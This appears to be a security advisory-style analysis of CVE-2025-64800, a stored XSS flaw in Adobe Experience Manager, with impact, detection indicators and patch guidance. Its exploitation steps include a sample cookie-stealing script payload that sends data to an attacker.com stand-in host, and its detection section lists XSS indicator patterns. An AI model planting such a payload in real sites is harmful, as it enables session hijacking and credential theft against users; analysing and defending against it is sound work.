CVE-2025-64800: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64800 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises LTS) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched the same day via Adobe Security Bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and stems from insufficient sanitization of user-supplied input in AEM form fields. A low-privileged, authenticated attacker can inject persistent malicious JavaScript into a vulnerable field; the script executes in the browser of any victim who subsequently visits the page containing that field. Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, but no special configuration or elevated access beyond a standard authenticated session (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. Because the payload is stored server-side, every user who visits the compromised page is at risk, amplifying the potential victim pool. Confidentiality and integrity of the affected AEM instance are impacted, though availability is not directly affected (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using version disclosure endpoints or web crawling.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account.
3. Locate vulnerable form field: Navigate to an AEM page or component that contains a form field susceptible to stored XSS (e.g., a text input in a content fragment, page property, or custom component).
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Victim triggers execution: When a victim (e.g., an AEM administrator or site visitor) browses to the page containing the injected field, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in request bodies.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; unusual DNS lookups originating from AEM author/publish environments.
• File System / Repository: Unexpected JavaScript content stored in AEM JCR repository nodes (e.g., under /content/ or /conf/) that includes <script> tags or encoded XSS payloads when inspected via CRXDE Lite or package manager exports.
• Process/Browser: Victim browsers making unexpected requests to attacker-controlled infrastructure (e.g., cookie exfiltration endpoints) immediately after loading AEM pages.

Adobe has released patches addressing CVE-2025-64800 in AEM 6.5 Service Pack 6.5.24.0 (for on-premises LTS deployments) and AEM Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. No specific configuration-based workaround has been published; restricting authoring access to trusted users and enforcing Content Security Policy (CSP) headers on AEM publish instances can reduce risk as a compensating control (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products patched in December 2025, including this XSS issue, recommending prompt patching (CIS Advisory). No notable independent researcher commentary or significant social media discussion specific to CVE-2025-64800 has been identified beyond standard vulnerability aggregator coverage.